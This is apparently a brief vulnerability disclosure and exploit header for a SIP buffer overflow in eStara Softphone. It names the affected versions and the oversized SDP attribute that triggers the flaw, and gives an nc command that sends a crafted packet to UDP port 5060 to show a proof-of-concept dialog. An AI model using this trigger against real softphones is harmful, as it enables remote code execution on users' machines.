eStara Softphone is a SIP softphone. There exists a buffer overflow
venerability in the SIP stack when a SIP packet with SDP data, and the
data length of the attribute filed ("a") large than 4021 bytes.
By exploiting this buffer overflow, an attacker can potentially gain
control of the return address of the executing function, allowing
arbitrary code execution with logon user’s privileges.
eStara Softphone 3.0.1.14 and 3.0.1.46(latest) are vulnerable. the others may also be affected.

/***************************************
eStara Softphone buffer overflow exploit
tested on :
eStara Softphone 3.0.1.14
||||||
eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe
Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.
